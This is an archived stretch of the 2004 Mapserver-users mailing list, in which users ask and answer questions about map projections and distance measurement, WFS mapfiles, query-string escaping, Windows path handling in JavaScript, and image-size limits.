RE: [Mapserver-users] Distance Calculation =09 =09 I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. =09 Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C40161.D1A02DCD Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Yes, that helps a lot.  First, you MUST = project your=20 data if you're going to create a raster image of it, unless your users = have=20 ellipsoidal monitor screens <g>.  Using lat/lon coordinates = as X/Y=20 coordinates is a projection, too - it's just not a very useful one for = most=20 purposes.  If you're going to measure distances you need = appropriately=20 projected maps.
 
You might do best with the UTM projection = family.  It=20 is simple, common, and easy to use.  It is not an equidistant = projection=20 and there will be a VERY small distortion, but for areas as small as = yours I=20 think it will be completely invisible.  There are other more = accurate=20 projections (equidistant conic, for example) that require more work on = your=20 part.
 
You do, however, need to choose the appropriate = UTM zone=20 for each map you make, based on the longitude of the center point.  = If you=20 try to make a map that is very small scale (showing a large portion of = the=20 country) it will look strange around the edges.  But if you make = maps of=20 less than a few hundred miles in extent no one will = notice.
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed=20 McNierney
Cc: = mapserver-users@lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

We are trying to map underlying layers like = streets,=20 parks, cities, etc. taken from TIGER for the United States. Then on top = of this=20 we are drawing a ring usually less than 20 miles with the center being = the=20 center of the map. Then we are mapping points given to us with lat/lon. = In the=20 legend we put the distance of the point from the center of the map. It = is this=20 distance which when done with Great Circle calc raised the red flag = because the=20 distance would put the point outside the circle when it was being drawn = inside=20 the circle. If we used Cartesian distance, then the distance would be = off.=20
 
So, based on your answers, we MUST project = our data in=20 order for our distance shown in the legend to be accurate and also match = what we=20 draw on the map, right?
 
Thanks and let me know if you need more = detail to=20 provide suggestions.


Ed McNierney=20 <ed@topozone.com> wrote:=20
I don't know what a "Cartesian" distance in = miles means=20 when your units are in degrees and the conversion between degrees and = miles=20 depends on the length and the orientation of the = line.
 
As I said, if you can provide more detail we = can offer=20 more advice.  For example, if all your distances are at a "small = scale",=20 that's more detail (you didn't say that before).  That helps = define the=20 problem better and helps us suggest solutions.  Please describe = the=20 problem you're trying to solve and we'll help!
 
   =20 - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed=20 McNierney
Cc: = mapserver-users@lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the = results would=20 be so different at such a small scale. Would you tell me if these = results seem=20 right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: = 8.1
 
Thanks again.

Ed McNierney = <ed@topozone.com>=20 wrote:
First, please ALWAYS reply to the entire=20 list.  That way everyone benefits from the conversation, and = the first=20 person to answer your question doesn't have to make a lifetime = commitment to=20 further questions!
 
Yes, of course you can choose one = projection for=20 your entire set of data.  Or you could switch based on what = you're=20 mapping.  The reason there are so many map projections is = because each=20 has different properties, and therefore does some things well and = other=20 things less well.  The classic Mercator projection is excellent = if you=20 are navigating with a compass; it is very poor if you're trying to = persuade=20 someone that Brazil is several times larger than=20 Greenland.
 
You also need to have a feel for what = level of=20 accuracy you need for your measurements.  The UTM family of = projections=20 is popular in part because it allows fairly accurate distance = measurements,=20 does not distort shapes badly, and is easy to use.  However, = you need=20 10 different UTM zones to cover the lower 48 states.  If you = need even=20 more accuracy a custom Transverse Mercator projection centered = on the=20 longitude of your central point would be better.
 
Mapping large areas in a single map is = harder to do=20 in an appealing way than mapping small areas, because spatial = distortion=20 becomes more obvious.
 
If you can provide a bit more detail on = what you're=20 trying to do we can offer more advice.
 
    - = Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of = data which=20 includes the whole United States (TIGER data). Or, do I somehow have = to=20 switch based on what I am mapping? If the latter is true, then do = you have a=20 suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney = <ed@topozone.com>=20 wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a = "geographic=20 projection" map it will not be a circle.  If you create a map = with a=20 20-mile extent it will not be a square.
 
Maps using "geographic projection" are = useless for=20 making distance measurements; you simply cannot do them in any = kind of=20 sensible way.  The width of the top edge (east-west) of your = "20=20 mile" image is DIFFERENT than the width of the bottom edge.  = In fact,=20 each row of pixels running across the image has a different width = in=20 miles/feet/meters because they're all different distances from the = Equator.  That's why the set of all points 8 miles from a = given point=20 is not a circle or ring; it's not even an = ellipse.
 
You need to choose a projected coordinate = system in=20 order to do reasonable distance measurements.
 
   =20 - = Ed
 

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA  = 01863
ed@topozone.com
(978)=20 251-4242


From: Map Guy=20 [mailto:mappington@yahoo.com]
Sent: Wednesday, March = 03, 2004=20 12:21 PM
To:=20 mapserver-users@lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a = 20 mile=20 extent, and we plot a point and calculate the distance from = the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in = distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using = Great=20 Circle without the distance placing the point incorrectly inside = or=20 outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to = ask these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C40161.D1A02DCD-- From JWiley@city.parksville.bc.ca Wed Mar 3 21:33:22 2004 From: JWiley@city.parksville.bc.ca (John Wiley) Date: Wed, 03 Mar 2004 13:33:22 -0800 Subject: [Mapserver-users] new application Message-ID: This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. --=_09280228.5C3D529A Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable I'm working on a new application and nearing the point to build using our = own data. I don't understand the use of headers or footers and was hoping = someone could explain it to me as the tutorial does not explain. Thank = you in advance, my apologies to the more experienced ones but this is = where I begin... =20 --=_09280228.5C3D529A Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Description: HTML
I'm working on a new application and nearing the point = to=20 build using our own data.  I don't understand the use of headers or = footers=20 and was hoping someone could explain it to me as the tutorial does not=20 explain.  Thank you in advance, my apologies to the more experienced = ones=20 but this is where I begin...
 
--=_09280228.5C3D529A-- From siki@agt.bme.hu Thu Mar 4 00:38:34 2004 From: siki@agt.bme.hu (Siki Zoltan) Date: Wed, 3 Mar 2004 23:38:34 -0100 (GMT+1) Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: Message-ID: Hi, I am in trouble putting "/" (slash) into the query string. I use CGI interface, and form to specify attribute to search for with Mapserver 4.0 When I have a simple qstring (e.g. without /) it works, but when I put / into the query string nothing found. I have parcel ids like 1323/3 23456 345/23 to look for. How should I escape / character in qstring? Thanx Zoltan From scoota@supanet.com Wed Mar 3 23:41:48 2004 From: scoota@supanet.com (Keith Campbell) Date: Wed, 03 Mar 2004 23:41:48 +0000 Subject: [Mapserver-users] WFS Layer Problem In-Reply-To: <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> References: <4045227B.4030609@supanet.com> <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> Message-ID: <40466D3C.9090509@supanet.com> Hi Bart, The answer to your first question is 'none', and this is where the problem obviously was. A lack of understanding on my part of the mechanisms involved. Anyway, your response pointed me in the right direction and I now have GML spewing forth, gallons of it. Now what to do with it? Just for the record, here's the request string that works:- http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map&service=WFS&version=1.0.0&request=GetFeature&TypeName=UrbanAreas Thanks for your help. Keith bartvde@xs4all.nl wrote: >Hi, > >what kind of request are you doing against the WFS? Is the GetCapabilities >working on your WFS (&service=WFS&request=GetCapabilities) ? > >Below a setup from my server which works: > > WEB > IMAGEPATH "/ms4w/tmp/ms_tmp/" > IMAGEURL "/ms_tmp/" > METADATA > WMS_TITLE "Gemeentes mapserver WMS" > WMS_ABSTRACT "UMN MapServer Gemeentekaart" > WMS_ACCESSCONSTRAINTS none > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes mapserver WFS" > WFS_ONLINERESOURCE >"http://myserver/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" > WFS_SRS "EPSG:28992" > OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" > END > END > > LAYER > DATA "Nlge_r98" > METADATA > WMS_TITLE "Gemeentes" > WMS_ABSTRACT "Gemeentes via UMN Mapserver" > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes" > END > NAME "Gemeentes" > SIZEUNITS PIXELS > STATUS ON > TOLERANCE 0 > TOLERANCEUNITS PIXELS > TYPE POLYGON > DUMP TRUE > TEMPLATE "blank.html" > UNITS METERS > CLASS > NAME "Foreign Lands" > STYLE > MAXSIZE 100 > MINSIZE 1 > OUTLINECOLOR 255 0 0 > SIZE 1 > SYMBOL 0 > END > END > END > >Best regards, >Bart > > > >>Hi All, >> >>I'm trying to set up a map file to serve up a WFS layer. I think I've >>set all the metadata tags specified in the HOWTO but I get a GIF output, >>not GML. I'm using v4.0 on Windows. Here's the mapfile:- >> >>MAP >> DEBUG TRUE >> NAME "FIRST" >> SHAPEPATH "F:\CDS Project\Mapping\shp\" >> EXTENT 270000 180000 290000 200000 >> SIZE 600 600 >> UNITS METERS >> WEB >> IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" >> IMAGEURL "/CDSproj/Dev/MapServer/tmp/" >> LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" >> METADATA >> "wfs_title" "WFS Demo - CDS Project" >> "wfs_onlineresource" >>"http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" >> "wfs_srs" "EPSG:27700" >> "ows_schemas_location" >>"http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" >> END >> END >> >> # Start of LAYER DEFINITIONS >>--------------------------------------------- >> LAYER # UrbanAreas polygon layer begins here >> NAME UrbanAreas >> DATA UrbanAreas >> STATUS DEFAULT >> TYPE POLYGON >> DUMP TRUE >> >> CLASS >> STYLE >> COLOR 232 232 232 >> OUTLINECOLOR 32 32 32 >> END >> END >> END # UrbanAreas polygon layer ends here >> # End of LAYER DEFINITIONS ------------------------------- >>END # end of map file/object >> >>Can anybody see what else needs to be added to force the output to GML? >> >>Thanks, >> >>Keith >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users@lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users@lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From wlx@cngis.org Thu Mar 4 01:37:36 2004 From: wlx@cngis.org (Liangxu Wang) Date: Thu, 4 Mar 2004 09:37:36 +0800 Subject: [Mapserver-users] how compile mapserver as php dso? Message-ID: <002e01c40189$46cca2e0$4271fea9@gisedu> hi,all: I see from the list that mapserver 4.1(cvs) can be compiled as a php module(dso).but how could I configure this? I has see the history.txt,and find nothing. Any info appreciated. Best regards, wlx From snow77899@hotmail.com Thu Mar 4 09:04:30 2004 From: snow77899@hotmail.com (snow 77) Date: Thu, 04 Mar 2004 10:04:30 +0100 Subject: [Mapserver-users] Projection problem Message-ID: Hi, I am new to the MapServer and i have a typical newbie question. I try to get am map on the web with only one shapefile as a layer. The shapefile is from the given extent and i think i define the right projection parameters. But the output map is quite distorted. Where ist the mistake? Here my mapfile: MAP NAME "test" STATUS ON EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 #EXTENT 389334.69 5124995.01 586750.69 5336404.45 SIZE 530 350 SHAPEPATH "../../../Inetpub/wwwroot/imdas/data" FONTSET "../../../Inetpub/wwwroot/imdas/fonts/fonts.list" IMAGECOLOR 255 255 255 UNITS DD RESOLUTION 72 PROJECTION "proj=utm" "zone=1" "ellps=WGS84" "datum=WGS84" "units=m" "no_defs " "north" "init=epsg:32601" END WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "set in demo_init.html" IMAGEURL "set in demo_init.html" END #order7 LAYER NAME "aut6__________a7" STATUS ON DATA "../../../../Inetpub/wwwroot/demo/data/aut6__________a7" LABELITEM "NAME" CLASS TEMPLATE void COLOR 255 255 204 OUTLINECOLOR 200 200 200 LABEL COLOR 132 31 31 COLOR 16 125 65 TYPE TRUETYPE FONT arial-bold SIZE 10 ANTIALIAS TRUE POSITION AUTO PARTIALS FALSE MINDISTANCE 300 BUFFER 4 END # end of label END TYPE POLYGON UNITS DD END END Can anyone help me? Thanks a lot! Sonja _________________________________________________________________ Die MSN Suche - Kategorien helfen Ihnen dabei, präzise Ergebnisse zu erhalten. http://search.msn.at/ From christophe.javoy@aurg.asso.fr Thu Mar 4 10:09:15 2004 From: christophe.javoy@aurg.asso.fr (christophe javoy) Date: Thu, 4 Mar 2004 11:09:15 +0100 Subject: [Mapserver-users] how to create a map with the query result ? Message-ID: <61876C0F933AA84DAB656B12B04F50A31E8B06@ruff.aurg.lan> This is a multi-part message in MIME format. ------_=_NextPart_001_01C401D0.BF885128 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello, =20 I made a queryByAttributes on a MapInfo table. I would like to create a new map only with the result. =20 $oLayer =3D $oMap->GetLayer(0); $oLayer->open();=20 $oLayer->queryByAttributes('Num_INSEE','/'.$filter.'/',MS_MULTIPLE); the result of the query is > 0.=20 What is the process : create a new layer ? create a new mapfile ? get all the shapeobj and insert them in layer ? please, somebody can help me ? Christophe =20 ------_=_NextPart_001_01C401D0.BF885128 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Hello,
 
I made = a=20 queryByAttributes on a MapInfo table. I would like to create a new map = only with=20 the result.
 

$oLayer =3D=20 $oMap->GetLayer(0);

$oLayer->open();

$oLayer->queryByAttributes('Num_INSEE','/'.$filter.'/',MS_MULTIPLE);

the = result of the=20 query is > 0.

What is = the process :=20 create a new layer ? create a new mapfile ? get all the shapeobj and = insert them=20 in layer ?

please, = somebody can=20 help me ?

Christophe

 

=00 ------_=_NextPart_001_01C401D0.BF885128-- From ms57@streamyx.com Thu Mar 4 10:17:00 2004 From: ms57@streamyx.com (Steve McCrone) Date: Thu, 04 Mar 2004 18:17:00 +0800 Subject: [Mapserver-users] queryfile - strange results Message-ID: <001301c401d1$d5415dc0$8b2e5fdb@maps> I'm doing an itemquery and wish to keep the polygon selected highlighted after further interaction with the map. In my tempalte file, I use - And then further down in the body, I use - Appears logical. However, the string for the full path for the queryfile is strange. Once I pan the map after selecting the found polygon, I get the following - msLoadQuery(): Unable to access file. (C:Inetpubwwwroot mpDEMO1078391348536.qy) Notice the wierd string for the location of the *.qy. Further down on my page, I have simply palced [queryfile], and it displays the correct full path of the query file - C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. Obviously, it cannot access the file C:Inetpubwwwroot mpDEMO1078391348536.qy, since it makes no sense. Any ideas? Thanks From gis@schnegg.net Thu Mar 4 10:32:16 2004 From: gis@schnegg.net (Frank Rittinger) Date: Thu, 04 Mar 2004 11:32:16 +0100 Subject: [Mapserver-users] Image size out of range ... Message-ID: <404705B0.4010506@schnegg.net> Hello list, I want to create output images that exceed the default image size of 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT to something like 4400 or even larger? How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of 1024x1024? I.e. if I want to have an image size of 1613x2200 what would be the required MS_MAXIMAGESIZE_DEFAULT? Or is there a way to override the default at runtime? Thanks, Frank From rosesgis@ddgi.org Thu Mar 4 13:55:33 2004 From: rosesgis@ddgi.org (Albert Garcia) Date: Thu, 4 Mar 2004 14:55:33 +0100 Subject: [Mapserver-users] MrSid Message-ID: <000201c401f0$5e288870$0a10a8c0@gis> Hi all, I'm very novice in mapserver applications (and in english language, as you see. sorry). I'd made a simply application and I would know if its posible view MrSid images on it. Thank you From JRaw@ci.durham.nc.us Thu Mar 4 13:56:08 2004 From: JRaw@ci.durham.nc.us (Raw, Jeremy) Date: Thu, 4 Mar 2004 08:56:08 -0500 Subject: [Mapserver-users] queryfile - strange results Message-ID: <688BDCE35C8CC140815D34597152AF20058AA419@exchange.durham.local> The difficulty is that the backslash directory separator (standard on Windows) is also a Javascript "escape" character (standard on not-Windows). The value [queryfile] is substituted literally into the template and when it is parsed by Javascript, the slashes get eaten up, regardless of the quoting you may attempt do in the Javascript (so no amount of Javascript string replacement will save you). If it is possible to force the file path to use forward slashes as directory separators (perhaps by using forward slashes when specifying IMAGEPATH "C:/inetpub/wwwroot/tmp/") the problem should go away. Caveat: I've done a fair amount of Javascript but I'm very new to Mapserver; there may be a better/easier way to force Mapserver to use forward slashes in the queryfile pathname, or to double the backslashes (e.g. c:\\inetpub\\wwwroot\\tmp\\). If so, I'd be interested in hearing about it... --- Jeremy Raw Transportation Planner City of Durham / DCHC MPO 919-560-4366 ext. 308 / jraw@ci.durham.nc.us -----Original Message----- From: Steve McCrone [mailto:ms57@streamyx.com] Sent: Thursday, March 04, 2004 5:17 AM To: mapserver-users@lists.gis.umn.edu Cc: Richard Greenwood Subject: [Mapserver-users] queryfile - strange results I'm doing an itemquery and wish to keep the polygon selected highlighted after further interaction with the map. In my tempalte file, I use - And then further down in the body, I use - Appears logical. However, the string for the full path for the queryfile is strange. Once I pan the map after selecting the found polygon, I get the following - msLoadQuery(): Unable to access file. (C:Inetpubwwwroot mpDEMO1078391348536.qy) Notice the wierd string for the location of the *.qy. Further down on my page, I have simply palced [queryfile], and it displays the correct full path of the query file - C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. Obviously, it cannot access the file C:Inetpubwwwroot mpDEMO1078391348536.qy, since it makes no sense. Any ideas? Thanks _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jnielsen@aero-graphics.com Thu Mar 4 14:26:28 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Thu, 4 Mar 2004 07:26:28 -0700 Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: References: Message-ID: <1078410388.40473c948f593@www.agi-lan.com> Quoting Siki Zoltan : > Hi, > > I am in trouble putting "/" (slash) into the query string. > I use CGI interface, and form to specify attribute to search for with > Mapserver 4.0 > > When I have a simple qstring (e.g. without /) it works, but when I put > / into the query string nothing found. I have parcel ids like > 1323/3 > 23456 > 345/23 > to look for. > > How should I escape / character in qstring? > > Thanx > Zoltan I have seen an issue similar to this with spaces. Using the encode char solved it. Perhaps you can try using %2F for the /. http://docbook.sourceforge.net/release/dsssl/current/doc/lib/url-encode-char.html Hope this helps but dont know... ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From rich@greenwoodmap.com Thu Mar 4 14:26:39 2004 From: rich@greenwoodmap.com (Richard Greenwood) Date: Thu, 04 Mar 2004 07:26:39 -0700 Subject: [Mapserver-users] Re: queryfile - strange results In-Reply-To: <001301c401d1$d5415dc0$8b2e5fdb@maps> References: <001301c401d1$d5415dc0$8b2e5fdb@maps> Message-ID: <40473C9F.4010109@greenwoodmap.com> Steve McCrone wrote: > I'm doing an itemquery and wish to keep the polygon selected highlighted > after further interaction with the map. > > In my tempalte file, I use - > > > > And then further down in the body, I use - > > > > Appears logical. However, the string for the full path for the queryfile is > strange. Once I pan the map after selecting the found polygon, I get the > following - > > msLoadQuery(): Unable to access file. (C:Inetpubwwwroot > mpDEMO1078391348536.qy) > > Notice the wierd string for the location of the *.qy. Further down on my > page, I have simply palced [queryfile], and it displays the correct full > path of the query file - > > C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. > > Obviously, it cannot access the file C:Inetpubwwwroot > mpDEMO1078391348536.qy, since it makes no sense. > > Any ideas? 1. Try "/" instead of "\". 2. Change your input type from 'hidden' to 'text' so you can see if the "\" is getting mangled incoming or outgoing. -- Richard Greenwood www.greenwoodmap.com From jnielsen@aero-graphics.com Thu Mar 4 14:28:33 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Thu, 4 Mar 2004 07:28:33 -0700 Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: References: Message-ID: <1078410513.40473d11f0602@www.agi-lan.com> \/ I think will escape the char. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From ms57@streamyx.com Thu Mar 4 14:29:05 2004 From: ms57@streamyx.com (Steve McCrone) Date: Thu, 04 Mar 2004 22:29:05 +0800 Subject: [Mapserver-users] queryfile Message-ID: <001e01c401f5$0c1032e0$8b2e5fdb@maps> Just a follow up on the previosu question. I have modified the code and it looks like the correct string (i.e. path and file name) are being assigned to queryfile. On the first zoomin, the *.qy file is created in tmp/ directory and the highlighted polygon remains. But on the second zoomin, a new *.qy file apears in the alert dialog, but this file does not get created in the tmp directory, and therefore, "Unable to access file" error occurs. Thanks Steve if (qfile){ document.write(""); imgPath = document.mapserv.map_web_imagepath.value + "\DEMO" + [id] + ".qy"; alert(imgPath) document.mapserv.queryfile.value = imgPath } From dmorissette@dmsolutions.ca Thu Mar 4 16:23:42 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 11:23:42 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <404705B0.4010506@schnegg.net> References: <404705B0.4010506@schnegg.net> Message-ID: <4047580E.1040400@dmsolutions.ca> Frank Rittinger wrote: > > I want to create output images that exceed the default image size of > 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT > to something like 4400 or even larger? > > How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of > 1024x1024? I.e. if I want to have an image size of 1613x2200 what would > be the required MS_MAXIMAGESIZE_DEFAULT? > My understanding is that MS_MAXIMAGESIZE_DEFAULT = 2048 means that you can have up to 2048 pixels in both dimensions (i.e. max of 2048x2048). So if you want to allow 1613x2200 images you should set it to 2200. > Or is there a way to override the default at runtime? > Since version 4.0 (not sure about 3.6), you should be able to set MAXSIZE 2200 at the top-level in your mapfile to override the default. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette@dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From woodbri@swoodbridge.com Thu Mar 4 17:41:18 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Thu, 04 Mar 2004 12:41:18 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <4047580E.1040400@dmsolutions.ca> References: <404705B0.4010506@schnegg.net> Message-ID: <404723EE.29022.E242CA@localhost> I don't see this in the Documentation I have printed here, please write a doc bug on that. -sw On 4 Mar 2004 at 11:23, Daniel Morissette wrote: > Frank Rittinger wrote: > > > > I want to create output images that exceed the default image size of > > 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT > > to something like 4400 or even larger? > > > > How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of > > 1024x1024? I.e. if I want to have an image size of 1613x2200 what would > > be the required MS_MAXIMAGESIZE_DEFAULT? > > > > My understanding is that MS_MAXIMAGESIZE_DEFAULT = 2048 means that you > can have up to 2048 pixels in both dimensions (i.e. max of 2048x2048). > So if you want to allow 1613x2200 images you should set it to 2200. > > > Or is there a way to override the default at runtime? > > > > Since version 4.0 (not sure about 3.6), you should be able to set > MAXSIZE 2200 at the top-level in your mapfile to override the default. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette@dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mh@svaj.dk Thu Mar 4 18:11:33 2004 From: mh@svaj.dk (mh@svaj.dk) Date: Thu, 4 Mar 2004 19:11:33 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er på ferie indtil d. 22 marts. Mine kollegaer kan træffes på tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From TENIERER@gov.ns.ca Thu Mar 4 18:36:30 2004 From: TENIERER@gov.ns.ca (Rene Teniere ) Date: Thu, 04 Mar 2004 14:36:30 -0400 Subject: [Mapserver-users] Rubber Band Box for ZoomIn/ZoomOut Using JS Message-ID: Hi all, I am trying to get the cursor to work properly when you click and hold. Copy the following code into an html file and you'll see what I mean. I'm not that great in Javascript yet, and this is to be used in an existing map made from scratch using PHP/MapScript. Implementation is for a zoomin/zoomout button. Everything else is set, drawing the box on the screen is 